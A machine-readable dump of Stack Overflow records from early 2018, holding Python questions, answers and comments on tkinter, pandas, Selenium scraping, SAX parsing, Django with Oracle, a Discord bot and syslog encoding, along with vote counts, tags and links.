has body: This is a simple PDF encrypter. Before and after some processes I want to change a label, but it changes only, if everything is done. For example I want to change the label text to the string in processing, when the file/folder was choosed. But it didn't want to, only at the very end, when all the jobs are done. ''' encrypt pdf files ''' import PyPDF2 as p import os from tkinter import * from tkinter import ttk from tkinter.filedialog import askopenfilename, askdirectory from tkinter.messagebox import showerror class MainWindow(Frame): def __init__(self): Frame.__init__(self) self.choice = 'Choose a file or a folder' self.processing = 'Encrypting file(s)' self.master.title('Viktor PDF titkositoja :)') self.master.rowconfigure(5, weight=1) self.master.columnconfigure(5, weight=1) self.grid(sticky=W+E+N+S) self.button = Button(self, text='File', command=self.enc_file, width=30) self.button.grid(row=1, column=0, sticky=W+E, padx=15, pady=6) self.button = Button(self, text='Folder', command=self.enc_folder, width=30) self.button.grid(row=1, column=1, sticky=W+E, padx=15, pady=6) self.labelText = StringVar() self.label = Label(self, textvariable=self.labelText) self.labelText.set(self.choice) self.label.grid(row=2, column=0, columnspan=2, sticky=W+E, padx=3, pady=10) self.row = 2 self.copy_to = os.path.join('/home', 'zaturek', 'Documents') def reset_labels(self): list = self.grid_slaves() for l in list[:-3]: l.destroy() self.labelText.set(self.choice) def enc_file(self): self.reset_labels() fname = askopenfilename(filetypes=(('PDF files', '.pdf'), ('All files', '*.*') )) if fname: try: self.labelText.set(self.processing + '\n' + fname) self.enc(fname) except Exception as e: showerror(title='Error', message=e) def enc_folder(self): self.reset_labels() dname = askdirectory() if dname: # self.labelText.set('Fajlok titkositasa a mappaban: ' + '\n' + dname) for f in os.listdir(): if os.path.isfile(f) and '.pdf' in f: try: self.labelText.set(self.processing + '\n' + f) self.en…
tagged with: tkinter
type: UnansweredQuestion
tagged with: python
has title: Change Label during process (Python, tkinter)
has comment: http://stackoverflow.com/comment/84444514
downvote count: 1
has comment: http://stackoverflow.com/comment/84442736
score: -1

http://stackoverflow.com/a/48706495
upvote count: 1
downvote count: 0
has body: In selenium you cannot use XPath that returns attributes or text nodes, so /text() syntax is not allowed. If you want to get specific child text node (nodes) only instead of complete text content (returned by text property), you might execute complex JavaScript I tried to implement solution from this question and it seem to work, so you can apply below code to get required text node: driver.execute_script("""var el = document.createElement( 'html' ); el.innerHTML = '&lt;div&gt;' + document.querySelector('div.ajaxcourseindentfix').innerHTML.split('&lt;hr&gt;')[1]; return el.querySelector( 'div' ).textContent;""") The output is Introduction to financial and managerial accounting theory and practice with emphasis on the role of accounting information in business decisions.
type: Answer
answers question: http://stackoverflow.com/q/48703073
score: 1

http://stackoverflow.com/comment/84590647
has text: 'the program stacks' - what do you mean by that? If there's an error you need to describe it more fully. Why do you use the `set_defaults`? Why not just `split_dataset(args.destpath)`? That `set_defaults` trick is handy when using subparsers, but here it doesn't add any functionality.
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/48793512

http://stackoverflow.com/q/48669010
has body: I have a list of dictionaries Amazon 120 b 19 maji_opai 1 am\xcd\x9ca\xcd\x89zon\xe2\x80\xa6 1 \xcb\x99\xea\x92\xb3\xe2\x80\x8b\xcb\x99 1 b'RT 46 WorkingGIrl 1 For 1 people 1 love 1 REAL 1 paperback 1 THE 3 PARIS 1 EFFECT 1 10 1 right 1 and am having trouble getting rid of the characters and non-english words.The goal of the twitter scrape is to create a simple word frequency count. Is there a best way to go about creating a loop and removing all the non-english words/ characters? This code I used to create the wordcount dictionaries wordcount={} for word in lemma_list: if word not in wordcount: wordcount[word] = 1 else: wordcount[word] += 1 for key in wordcount.keys(): print ("%s %s " %(key , wordcount[key])) print(type(wordcount.keys())) &lt;class 'dict_keys'&gt;
has title: Trying to remove all non-english characters from list of strings
favorite count: 0
has answer: http://stackoverflow.com/a/48669320
score: -3
tagged with: python
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84336141
type: UnansweredQuestion
downvote count: 3
has comment: http://stackoverflow.com/comment/84335875
type: Question
tagged with: nltk
tagged with: for-loop
has comment: http://stackoverflow.com/comment/84336327
upvote count: 0
answer count: 1

http://stackoverflow.com/a/48721083
upvote count: 1
has body: From given example, there is no need to have Get class after all, since you are using it just like a additional namespace. You do not have any 'state' that you want to preserve, in either class or class instance. What seems like a good thing is to have separate module and define these functions in it. This way, when importing this module, you get to have this namespace that you want.
downvote count: 0
answers question: http://stackoverflow.com/q/48720984
has comment: http://stackoverflow.com/comment/84442493
has comment: http://stackoverflow.com/comment/84441896
type: Answer
has comment: http://stackoverflow.com/comment/84441220
score: 1

http://stackoverflow.com/comment/84610560
score: 0
type: Comment
has text: `datetime.datetime(100,1,1,11,34,59)` can u explain this number ??
comment on: http://stackoverflow.com/a/48803909
type: AnswerComment

http://stackoverflow.com/comment/84349917
has text: N.B. that `dict.update` returns `None` and modifies the dictionary in-place. Are you sure it's not being updated?
comment on: http://stackoverflow.com/q/48675673
score: 4
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48646739
has answer: http://stackoverflow.com/a/48647027
has comment: http://stackoverflow.com/comment/136483065
tagged with: dataframe
type: Question
has comment: http://stackoverflow.com/comment/84292761
downvote count: 0
favorite count: 0
tagged with: pandas
tagged with: python
answer count: 4
score: 2
tagged with: python-3.x
has answer: http://stackoverflow.com/a/48646877
has title: Python Pandas: create a new column for each different value of a source column (with boolean output as column values)
has answer: http://stackoverflow.com/a/48647217
upvote count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48647248
linked to: http://stackoverflow.com/q/36285155
has body: I am trying to split a source column of a dataframe in several columns based on its content, and then fill this newly generated columns with a boolean 1 or 0 in the following way: Original dataframe: ID source_column A value 1 B NaN C value 2 D value 3 E value 2 Generating the following output: ID source_column value 1 value 2 value 3 A value 1 1 0 0 B NaN 0 0 0 C value 2 0 1 0 D value 3 0 0 1 E value 2 0 1 0 I thought about manually create each different column, and then with a function for each column and .apply, filling the newly column with a 1 or a 0, but this is highly ineffective. Is there a quick and efficient way for this?
tagged with: dummy-variable

http://stackoverflow.com/comment/84444583
score: 0
type: AnswerComment
type: Comment
has text: You *could* override the `repr()` method to always display hex, or perhaps less drastically define a subclass with this behavior.
comment on: http://stackoverflow.com/a/48722560

http://stackoverflow.com/a/63844696
downvote count: 0
answers question: http://stackoverflow.com/q/48784178
upvote count: 2
has body: I have faced this situation i browsed about 3 hours then i came to know about the silly mistake that my file is named as requirement.txt, it should be requirements.txt if this not helps, check out the supported python runtime version on heroku site
type: Answer
score: 2

http://stackoverflow.com/a/48798889
has comment: http://stackoverflow.com/comment/84641469
type: Answer
has comment: http://stackoverflow.com/comment/84640446
has comment: http://stackoverflow.com/comment/84641617
has comment: http://stackoverflow.com/comment/84641337
has comment: http://stackoverflow.com/comment/84641525
has comment: http://stackoverflow.com/comment/84632211
answers question: http://stackoverflow.com/q/48797819
has comment: http://stackoverflow.com/comment/84641069
has comment: http://stackoverflow.com/comment/84641249
has comment: http://stackoverflow.com/comment/84720894
has body: Check this one, the problem is located: https://stackoverflow.com/a/48859488/9270398
score: 0

http://stackoverflow.com/q/48790011
has answer: http://stackoverflow.com/a/48790259
type: Question
upvote count: 1
tagged with: python
tagged with: python-unittest
answer count: 1
accepted answer: http://stackoverflow.com/a/48790259
type: AnsweredQuestion
downvote count: 0
has body: There are various setups: creating an app driver, creating a dummy device, doing a login. Some test cases need only app-driver, some need app-driver and login, some need app-driver and device, others use all three. How to make something like a Combine&lt;Ts...&gt; template: #include &lt;iostream&gt; // The unittest.TestCase. struct TestCase { virtual void setUp() {} virtual void tearDown() {} }; template &lt;typename ...Ts&gt; struct Combine: public TestCase, public Ts... { virtual void setUp() override { int t[] = { 0, (Ts::setUp(), 1)... }; } // TODO: invert the order virtual void tearDown() override { int t[] = { 0, (Ts::tearDown(), 1)... }; } }; // Setups for 'login' only. struct Login { void setUp() { std::cout &lt;&lt; "Login setup" &lt;&lt; std::endl; } void tearDown() { std::cout &lt;&lt; "Login teardown" &lt;&lt; std::endl; } }; // Setups for 'device' only. struct Device { void setUp() { std::cout &lt;&lt; "Device setup" &lt;&lt; std::endl; } void tearDown() { std::cout &lt;&lt; "Device teardown" &lt;&lt; std::endl; } }; // A concrete test case. struct MyTest: public Combine&lt;Login, Device&gt; { void test() { std::cout &lt;&lt; "test" &lt;&lt; std::endl; } }; int main() { MyTest cd; cd.setUp(); cd.test(); cd.tearDown(); Combine&lt;Device&gt; d; d.setUp(); d.tearDown(); return 0; } Output: Login setup Device setup test Login teardown Device teardown Device setup Device teardown
score: 1
favorite count: 0
has title: How to freely combine multiple setUp()/tearDown() base classes while using unittest?

http://stackoverflow.com/q/48721067
linked to: http://stackoverflow.com/q/423379
possible better answer: http://stackoverflow.com/a/48721253
has comment: http://stackoverflow.com/comment/84442217
has answer: http://stackoverflow.com/a/48721253
has comment: http://stackoverflow.com/comment/84441239
duplicate of: http://stackoverflow.com/q/423379
score: 0
has answer: http://stackoverflow.com/a/48721521
tagged with: python
accepted answer: http://stackoverflow.com/a/48721521
tagged with: parsing
has title: Global variable in Python : Getting NameError while performing a comparison
tagged with: python-3.x
has body: I am trying to implement SAX parser in python. Reading the XML and creating objects. Below is my code. import xml.sax class Employee : def __init__(self, id): self.id = id class EmployeeHandler(xml.sax.ContentHandler): emp = None emplist = [] fName = False lName = False age = False company = False def __init__(self): xml.sax.ContentHandler.__init__(self) def startElement(self, name, attrs): print("startElement '" + name + "'") if name == "Employees" : global emplist emplist = [] if name == "Employee": global emp emp = Employee(attrs.getValue("id")) elif name == "FirstName": global fName fName = True elif name == "LastName": global lName lName = True elif name == "Age": global age age = True elif name == "Company": global company company = True def characters(self, content): print("characters '" + content + "'") global fName, lName, age, company if fName is True: emp.firstName = content elif lName is True: emp.lastName = content elif age is True: emp.age = content elif company is True: emp.company = content def endElement(self, name): print("endElement '" + name + "'") if name == "Employee": #global emplist : To use list methods global is not required emplist.append(emp) def main(sourceFileName): source = open(sourceFileName) xml.sax.parse(source, EmployeeHandler()) if __name__ == "__main__": main("EmployeeData") print("Ids ", emplist[0].id , emplist[1].id) While executing the code I am getting the below error : File "C:/Users/611834094/PycharmProjects/PractiseProject/xml_pratise/saxparser.py", line 47, in characters if fName is True: NameError: name 'fName' is not defined To be precise the below block is raising the error : def characters(self, content): print("characters '" + content + "'") global fName, lName, age, company if fName is True: emp.firstName = content The variable fName (along with other global variables) are defined with an initial value which is getting changed in the startElement() method of the handler, in the characters method, I am trying to com…
tagged with: sax
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/19158339
type: Question
answer count: 2

http://stackoverflow.com/comment/84415479
score: 1
comment on: http://stackoverflow.com/a/48708355
type: AnswerComment
has text: Thank you for your response, but how am I supposed to use the .destroy() extension without the 'self' object?
type: Comment

http://stackoverflow.com/comment/84516027
score: 0
type: Comment
has text: @SergGr It's just that modpowsum function does not seem to work
comment on: http://stackoverflow.com/a/48742036
type: AnswerComment

http://stackoverflow.com/comment/84291793
score: 0
type: Comment
type: QuestionComment
has text: You can't attach something which looks somewhat like a method of os.path object in Python to a string and expect it to work in a Jinja2 template. ・ Reading your code, it's difficult to tell what you wanted to achieve.
comment on: http://stackoverflow.com/q/48647033

http://stackoverflow.com/comment/84578053
score: 0
comment on: http://stackoverflow.com/q/48769330
type: QuestionComment
type: Comment
has text: @RohitKumar I thought systems with python 3 also have a `python3` and `python3.6` binaries available :( Which OS has missing `python3`? Maybe you could do a little discovery function that tries a few binaries using `subprocess` and picks the correct one.

http://stackoverflow.com/a/48792708
has comment: http://stackoverflow.com/comment/84588547
accepted answer of: http://stackoverflow.com/q/48792405
has comment: http://stackoverflow.com/comment/84589138
score: 2
answers question: http://stackoverflow.com/q/48792405
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84588808
downvote count: 0
has comment: http://stackoverflow.com/comment/84588916
has comment: http://stackoverflow.com/comment/84588629
has comment: http://stackoverflow.com/comment/84589223
has body: If I understand it clearly df1=df1.apply(lambda x : pd.to_numeric(x,errors='ignore')) d=dict(zip(df1.columns[1:],['sum']*df1.columns[1:].str.contains('System').sum()+['first'])) df1.fillna(0).groupby('Email').agg(d) Out[95]: System1 System2 System3 System4 Count Email test_1_@test.com 0.0 1.0 0.0 0.0 1 test_2_@test.com 1.0 0.0 1.0 1.0 3 test_3_@test.com 0.0 1.0 0.0 0.0 1 test_4_@test.com 0.0 0.0 1.0 0.0 1 test_5_@test.com 1.0 0.0 1.0 1.0 3
type: Answer
has comment: http://stackoverflow.com/comment/84588460
upvote count: 2

http://stackoverflow.com/q/48757101
has title: How do take input from user in optparse?
accepted answer: http://stackoverflow.com/a/48757379
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84515505
downvote count: 1
type: Question
has body: I have the following file: System Configuration Utility Version 14.1 Build 19 Copyright (c) 2017 Intel Corporation System BIOS and FW Versions: BIOS Version............. SE3.4 ME Firmware Version...... 2.01 BMC Version Op Code................. 1.2.7Q SDR Version.............. SDR Package 0.1 I want to capture it and store in a dict as: d ={'BMC Version': '1.2.7Q', 'SDR Version': '0.1', 'ME Firmware Version': '2.01' } How do I do it using regex and python? Right now my approach is to hardcode it like this but I don't want to hardcode: SDR Package \d+.\d+
score: -1
has comment: http://stackoverflow.com/comment/84518564
upvote count: 0
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/48757379
tagged with: python
tagged with: regex

http://stackoverflow.com/q/48713094
has title: django migrating from sqlite3 to oracle causes ora-2000 error
score: 2
has comment: http://stackoverflow.com/comment/84426987
linked to: http://stackoverflow.com/q/28806412
has comment: http://stackoverflow.com/comment/84426729
upvote count: 2
has comment: http://stackoverflow.com/comment/84427299
has comment: http://stackoverflow.com/comment/84426686
tagged with: django
has body: I hava a Django app on a windows server 2012 which was set up with sqlite3 as the db, but it's going to production so I'm migrating the tables to oracle 11g on the server, i don't care about the data just the tables so when I run python manage.py migrate I get ORA-2000 Error: missing ALWAYS keyword I'm new to django and websites in general, what am i missing? Database setting: DATABASES = { 'default': { 'ENGINE': 'django.db.backends.oracle', 'NAME': 'orcl', 'USER': 'hr', 'PASSWORD': 'hr', 'HOST': 'localhost', 'PORT': '1521', }, 'OPTIONS': { 'timeout': 20, 'threaded': True, }} Model: class ForecastSummary(models.Model): party=models.ForeignKey(PartyDetailsFinal,on_delete=models.CASCADE,null=True) annual_price = models.DecimalField(max_digits=100, decimal_places=5, default=Decimal('0.00000'), blank=True, null=True) annual_HW = models.DecimalField(max_digits=100, decimal_places=5, default=Decimal('0.00000'), blank=True, null=True) annual_SW = models.DecimalField(max_digits=100, decimal_places=5, default=Decimal('0.00000'), blank=True, null=True) annual_total = models.DecimalField(max_digits=100, decimal_places=5, default=Decimal('0.00000'), blank=True, null=True) back_maintenance = models.DecimalField(max_digits=100, decimal_places=5, default=Decimal('0.00000'), blank=True ) forecast_year0 = models.DecimalField(max_digits=100, decimal_places=5, default=Decimal('0.00000'), blank=True, null=True) forecast_year1 = models.DecimalField(max_digits=100, decimal_places=5, default=Decimal('0.00000'), blank=True, null=True) forecast_year2 = models.DecimalField(max_digits=100, decimal_places=5, default=Decimal('0.00000'), blank=True, null=True) forecast_year3 = models.DecimalField(max_digits=100, decimal_places=5, default=Decimal('0.00000'), blank=True, null=True) forecast_year4 = models.DecimalField(max_digits=100, decimal_places=5, default=Decimal('0.00000'), blank=True, null=True) forecast_year5 = models.DecimalField(max_digits=100, decimal_places=5, default=Decimal('0.00000')…
has comment: http://stackoverflow.com/comment/84426764
type: Question
has comment: http://stackoverflow.com/comment/84426529
has comment: http://stackoverflow.com/comment/84427206
downvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/84430133
has answer: http://stackoverflow.com/a/48805969
favorite count: 0
has comment: http://stackoverflow.com/comment/84426925
has comment: http://stackoverflow.com/comment/84426695
type: UnansweredQuestion
tagged with: oracle-database
has comment: http://stackoverflow.com/comment/84437281
has comment: http://stackoverflow.com/comment/84426817
tagged with: python

http://stackoverflow.com/comment/84542043
comment on: http://stackoverflow.com/q/48770079
score: 0
has text: Didn't see the na_values in the docs, now i have set up the `na_values='\\N'` and using your suggested method that allows me to finally convert my data to numeric values straight away ( i used float as my dtype for startYear, since there is some known issue with integer support for na values - https://stackoverflow.com/questions/21287624/convert-pandas-column-containing-nans-to-dtype-int )
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84466968
has text: Can you share an example script?
comment on: http://stackoverflow.com/a/48733932
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/48779323
has comment: http://stackoverflow.com/comment/84561929
accepted answer: http://stackoverflow.com/a/48780416
type: AnsweredQuestion
tagged with: bots
has comment: http://stackoverflow.com/comment/84561661
has comment: http://stackoverflow.com/comment/84561514
type: Question
tagged with: discord.py
has comment: http://stackoverflow.com/comment/84561875
has comment: http://stackoverflow.com/comment/84561797
has comment: http://stackoverflow.com/comment/84562230
has body: I recently started to learn python by making bots for Discord. Now I'm making a Music bot but I got an error and couldn't find where the error is. Can you guys help, please? It joins the channel but gives the Error3 in Chat and if I write !Play (URL) again, it gives the Error 4 in chat. Here is the Code: import discord client = discord.Client () @client.event async def on_ready(): print(client.user.name) print("-------------------") @client.event async def on_message(message): if message.content.startswith("!stop"): try: voice_client = client_voice_in(message.server) await voice_client.disconnect() except AttributeError: await client.send_message(message.channel, "I'm not connected.") except Exception as Hugo: await client.send_message(message.channel, "Error1_______|type|_______".format(type=Hugo)) if message.content.startswith("!play"): try: yt_url = message.content[6:] if client.is_voice_connected(message.server): try: voice = client.voice_client_in(message.server) players[message.server.id].stop() player = await voice.create_ytdl_player(yt_url, before_options=" -reconnect 1 -reconnect_streamed 1" " -reconnect_delay_max 5") players[message.server.id] = player player.start() except Exception as e: await client.send_message(message.server, "Error2______[Error]".format(error=e)) if not client.is_voice_connected(message.server): try: channel = message.author.voice.voice_channel voice = await client.join_voice_channel(channel) player = await voice.create_ytdl_player(yt_url, before_options=" -reconnect 1 -reconnect_streamed 1" " -reconnect_delay_max 5") players[message.server.id] = player player.start() except Exception as e: await client.send_message(message.channel, "Error3____[error]".format(error=e)) except Exception as e: await client.send_message(message.channel, "Error4________[error]".format(error=e)) client.run("I erased the token number before sharing, it's not the problem")
has comment: http://stackoverflow.com/comment/84561707
answer count: 1
has comment: http://stackoverflow.com/comment/84561644
has comment: http://stackoverflow.com/comment/84562312
has comment: http://stackoverflow.com/comment/84561945
score: 0
has comment: http://stackoverflow.com/comment/84562050
has answer: http://stackoverflow.com/a/48780416
has comment: http://stackoverflow.com/comment/84562323
has comment: http://stackoverflow.com/comment/84561723
has comment: http://stackoverflow.com/comment/84562380
has comment: http://stackoverflow.com/comment/84561615
tagged with: discord
has comment: http://stackoverflow.com/comment/84561908
has comment: http://stackoverflow.com/comment/84561882
has comment: http://stackoverflow.com/comment/84561123
has comment: http://stackoverflow.com/comment/84561835
has title: Discord Python Music bot Error
has comment: http://stackoverflow.com/comment/84562360
has comment: http://stackoverflow.com/comment/84561764
tagged with: python
has comment: http://stackoverflow.com/comment/84561487

http://stackoverflow.com/comment/84389166
score: 0
type: AnswerComment
has text: So you're trying to issue an invite to a user not on the server, from a command issued on the server? How are you specifying the target user?
type: Comment
comment on: http://stackoverflow.com/a/48673063

http://stackoverflow.com/q/48736196
favorite count: 0
possible better answer: http://stackoverflow.com/a/48736513
has comment: http://stackoverflow.com/comment/84522522
has comment: http://stackoverflow.com/comment/84485376
has comment: http://stackoverflow.com/comment/84473609
upvote count: 1
tagged with: python
type: AnsweredQuestion
score: 1
tagged with: selenium
has comment: http://stackoverflow.com/comment/84473084
has comment: http://stackoverflow.com/comment/84479632
type: Question
has answer: http://stackoverflow.com/a/48736513
has comment: http://stackoverflow.com/comment/84475020
answer count: 2
has comment: http://stackoverflow.com/comment/84473723
downvote count: 0
has body: I have a Python code that scraps different data. For example, it scraps the Website from this HTML code: Website It was working properly, but now it fails with the error: NoSuchElementException: Message: {"errorMessage":"Unable to find element with link text 'Website'","request":{"headers":{"Accept":"application/json","Accept-Encoding":"identity","Connection":"close","Content-Length":"95","Content-Type":"application/json;charset=UTF-8","Host":"127.0.0.1:40581","User-Agent":"Python http auth"},"httpVersion":"1.1","method":"POST","post":"{\"using\": \"link text\", \"sessionId\": \"a7a441f0-0f6a-11e8-ad3a-6121f74a30f4\", \"value\": \"Website\"}","url":"/element","urlParsed":{"anchor":"","query":"","file":"element","directory":"/","path":"/element","relative":"/element","port":"","host":"","password":"","user":"","userInfo":"","authority":"","protocol":"","source":"/element","queryKey":{},"chunks":["element"]},"urlOriginal":"/session/a7a441f0-0f6a-11e8-ad3a-6121f74a30f4/element"}} Screenshot: available via screen This is my code: import requests from bs4 import BeautifulSoup from selenium import webdriver driver = webdriver.PhantomJS() driver.set_window_size(1120, 550) driver.get(link) driver.implicitly_wait(10) website = driver.find_element_by_link_text("Website").get_attribute("href") What am I doing wrong? UPDATE: Website Whitepaper Program Token: UTC Price: 1 LUC=0,05 USD Buy with: USD, EUR Platform: MyPlatform KYC: No KYC: Yes Location: Malta Can't join: USA Start: January 25, 2018 End: February 5, 2018 Start2: February 12, 2018 End2: March 5, 2018 JOIN WHITELIST NOW »
has title: Selenium-based scraping code fails with the error NoSuchElementException
has answer: http://stackoverflow.com/a/48761092
accepted answer: http://stackoverflow.com/a/48761092
tagged with: http://stackoverflow.com/tag/html
linked to: http://stackoverflow.com/q/47993443
has comment: http://stackoverflow.com/comment/84476475

http://stackoverflow.com/a/48676455
answers question: http://stackoverflow.com/q/48676371
type: Answer
has comment: http://stackoverflow.com/comment/84351627
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/84351308
has comment: http://stackoverflow.com/comment/84351346
has comment: http://stackoverflow.com/comment/84354345
has comment: http://stackoverflow.com/comment/84351293
has comment: http://stackoverflow.com/comment/84351330
upvote count: 2
has comment: http://stackoverflow.com/comment/84351798
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48676371
has body: If only achieve what you need (sum mean and std), I think doing out side the groupby is more efficient %timeit d.groupby("b")["a"].agg(["mean","std"]) 1 loop, best of 3: 698 ms per loop %timeit d.groupby("b")["a"].agg(["mean","std"]).sum(1) 1 loop, best of 3: 704 ms per loop Yours : %timeit d.groupby("b")["a"].agg(lambda x: x.mean()+x.std()) 1 loop, best of 3: 2.89 s per loop

http://stackoverflow.com/tag/csv
tags question: http://stackoverflow.com/q/48655953
type: Tag
tags question: http://stackoverflow.com/q/48654600
tags question: http://stackoverflow.com/q/48716546
tags question: http://stackoverflow.com/q/48705618
tags question: http://stackoverflow.com/q/48654301
tags question: http://stackoverflow.com/q/48795741
tags question: http://stackoverflow.com/q/48765721
tags question: http://stackoverflow.com/q/48731662
tags question: http://stackoverflow.com/q/48687643
tags question: http://stackoverflow.com/q/48708371
tag name: csv
tags question: http://stackoverflow.com/q/48733595
tags question: http://stackoverflow.com/q/48725672
tags question: http://stackoverflow.com/q/48733214
tags question: http://stackoverflow.com/q/48736997
tags question: http://stackoverflow.com/q/48691641
tags question: http://stackoverflow.com/q/48728798
tags question: http://stackoverflow.com/q/48736761
tags question: http://stackoverflow.com/q/48669288
tags question: http://stackoverflow.com/q/48769131
tags question: http://stackoverflow.com/q/48685476
tags question: http://stackoverflow.com/q/48786489
tags question: http://stackoverflow.com/q/48646202
tags question: http://stackoverflow.com/q/48668580
tags question: http://stackoverflow.com/q/48685832
tags question: http://stackoverflow.com/q/48747502
tags question: http://stackoverflow.com/q/48737564
tags question: http://stackoverflow.com/q/48763624
tags question: http://stackoverflow.com/q/48654641
tags question: http://stackoverflow.com/q/48708980
tags question: http://stackoverflow.com/q/48720210
tags question: http://stackoverflow.com/q/48683211
tags question: http://stackoverflow.com/q/48669802
tags question: http://stackoverflow.com/q/48738851
tags question: http://stackoverflow.com/q/48692345
tags question: http://stackoverflow.com/q/48651900
tags question: http://stackoverflow.com/q/48685847
tags question: http://stackoverflow.com/q/48725952
tags question: http://stackoverflow.com/q/48723933
tags question: http://stackoverflow.com/q/48783137
tags question: http://stackoverflow.com/q/48683887
tags question: http://stackoverflow.com/q/48736801
tags question: http://stackoverflow.com/q/48734779
tags question: http://stackoverflow.com/q/48771612
tags question: http://stackoverflow.com/q/48745947
tags question: http://stackoverflow.com/q/48717615
tags question: http://stackoverflow.com/q/48791819
tags question: http://stackoverflow.com/q/48689794
tags question: http://stackoverflow.com/q/48775786
tags question: http://stackoverflow.com/q/48662077
tags question: http://stackoverflow.com/q/48734455
tags question: http://stackoverflow.com/q/48693547
tags question: http://stackoverflow.com/q/48767881
tags question: http://stackoverflow.com/q/48662949
tags question: http://stackoverflow.com/q/48686720
tags question: http://stackoverflow.com/q/48658210
tags question: http://stackoverflow.com/q/48700006
tags question: http://stackoverflow.com/q/48730088
tags question: http://stackoverflow.com/q/48672071
tags question: http://stackoverflow.com/q/48668125
tags question: http://stackoverflow.com/q/48665737
tags question: http://stackoverflow.com/q/48736366
tags question: http://stackoverflow.com/q/48709721
tags question: http://stackoverflow.com/q/48764603
tags question: http://stackoverflow.com/q/48752209
tags question: http://stackoverflow.com/q/48670780
tags question: http://stackoverflow.com/q/48712295
tags question: http://stackoverflow.com/q/48656068
tags question: http://stackoverflow.com/q/48751302
tags question: http://stackoverflow.com/q/48708303
tags question: http://stackoverflow.com/q/48739118
tags question: http://stackoverflow.com/q/48728628
tags question: http://stackoverflow.com/q/48653746
tags question: http://stackoverflow.com/q/48793896
tags question: http://stackoverflow.com/q/48800052
tags question: http://stackoverflow.com/q/48773484
tags question: http://stackoverflow.com/q/48675351
tags question: http://stackoverflow.com/q/48736506
tags question: http://stackoverflow.com/q/48648886

http://stackoverflow.com/comment/127271885
type: Comment
comment on: http://stackoverflow.com/a/59334555
has text: Install fresh >> update packages caused this same error. This solved it. Thank you
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84419882
score: 5
has text: If you are on linux you might be better off using crontab
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48710485

http://stackoverflow.com/q/48647403
favorite count: 0
accepted answer: http://stackoverflow.com/a/48647587
type: Question
has comment: http://stackoverflow.com/comment/84292279
tagged with: python
tagged with: subtraction
has comment: http://stackoverflow.com/comment/84294114
score: -1
has body: I am trying to create a simple AI program which plays stick game. The problem is that I would like to subtract chosen stick from the total stick number. This simple code shows some error such as nonexisting value. I could not assign returning value for my values. Is there another way to subtracts value with functions? import random msg = input('Determine stick numbers:') print('Stick number is determined as:', msg) # First player move def robot(stick): y = stick % 4 if y==0: y=randint(1,3) mov=int(y) print('machine chose:', mov) total = stick-mov return total def human(stick2): mov2= int(input('your turn:')) print('human chose:', mov2) total = stick2-mov2 return total players= { '1': robot, '2': human } number1= input('Determine first player machine(1) or human(2):') number2= input('Determine second player (1) or (2):') player1=players[number1] player2=players[number2] print(player1, player2) print('the game begins') while True: player1(int(msg)) if msg == 0: break print('remained sticks:', msg) player2(int(msg)) print('remained sticks:', msg) if msg == 0: break
tagged with: return
has comment: http://stackoverflow.com/comment/84292188
upvote count: 3
answer count: 2
possible better answer: http://stackoverflow.com/a/48647555
has answer: http://stackoverflow.com/a/48647555
has comment: http://stackoverflow.com/comment/84292307
has answer: http://stackoverflow.com/a/48647587
has title: How can I return with a local variable in definition in Python?
has comment: http://stackoverflow.com/comment/84292231
tagged with: definition
has comment: http://stackoverflow.com/comment/84292260
downvote count: 4
has comment: http://stackoverflow.com/comment/84292223
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84292349
has comment: http://stackoverflow.com/comment/84292340

http://stackoverflow.com/q/48728078
has comment: http://stackoverflow.com/comment/84455417
tagged with: python-3.x
type: Question
tagged with: python
upvote count: 1
has title: python3 declare the encoding not working with logging's SysLogHandler
has body: # -*- coding: utf-8 -*- import logging from logging import handlers log = logging.getLogger() hl = handlers.SysLogHandler(address=(ipaddr, 514), facility=22) log.addHandler(hl) log.setLevel(logging.DEBUG) a = '中文测试' log.debug(a) result from syslog server Feb 11 12:55:12 10.20.51.39 涓枃娴嬭瘯 Feb 11 12:55:47 10.20.51.39 涓枃娴嬭瘯 Feb 11 12:56:16 10.20.51.39 涓枃娴嬭瘯 change coding to GB2312 # -*- coding: gb2312 -*- import logging from logging import handlers log = logging.getLogger() hl = handlers.SysLogHandler(address=(ipaddr, 514), facility=22) log.addHandler(hl) log.setLevel(logging.DEBUG) a = '中文测试' log.debug(a) result is alway the same Feb 11 12:57:04 10.20.51.39 涓枃娴嬭瘯 Feb 11 12:58:18 10.20.51.39 涓枃娴嬭瘯 but this python script works fine with python2.7 syslog server locale LANG=zh_CN.gb2312 LC_CTYPE="zh_CN.gb2312" LC_NUMERIC="zh_CN.gb2312" LC_TIME="zh_CN.gb2312" LC_COLLATE="zh_CN.gb2312" LC_MONETARY="zh_CN.gb2312" LC_MESSAGES="zh_CN.gb2312" LC_PAPER="zh_CN.gb2312" LC_NAME="zh_CN.gb2312" LC_ADDRESS="zh_CN.gb2312" LC_TELEPHONE="zh_CN.gb2312" LC_MEASUREMENT="zh_CN.gb2312" LC_IDENTIFICATION="zh_CN.gb2312" LC_ALL=zh_CN.gb2312 all result Feb 11 12:48:22 10.20.51.39 涓枃娴嬭瘯 Feb 11 12:48:46 10.20.51.39 涓枃娴嬭瘯 Feb 11 12:55:06 10.20.51.39 涓枃娴嬭瘯 Feb 11 12:55:12 10.20.51.39 涓枃娴嬭瘯 Feb 11 12:55:47 10.20.51.39 涓枃娴嬭瘯 Feb 11 12:56:16 10.20.51.39 涓枃娴嬭瘯 Feb 11 12:57:04 10.20.51.39 涓枃娴嬭瘯 Feb 11 12:58:18 10.20.51.39 涓枃娴嬭瘯 Feb 11 13:00:59 10.20.51.39 中文测试 &lt;&lt; send via python2 with gb2312 encodidng Feb 11 13:01:17 10.20.51.39 涓枃娴嬭瘯 Feb 11 13:01:28 10.20.51.39 中文测试 &lt;&lt; send via python2 with gb2312 encodidng
answer count: 0
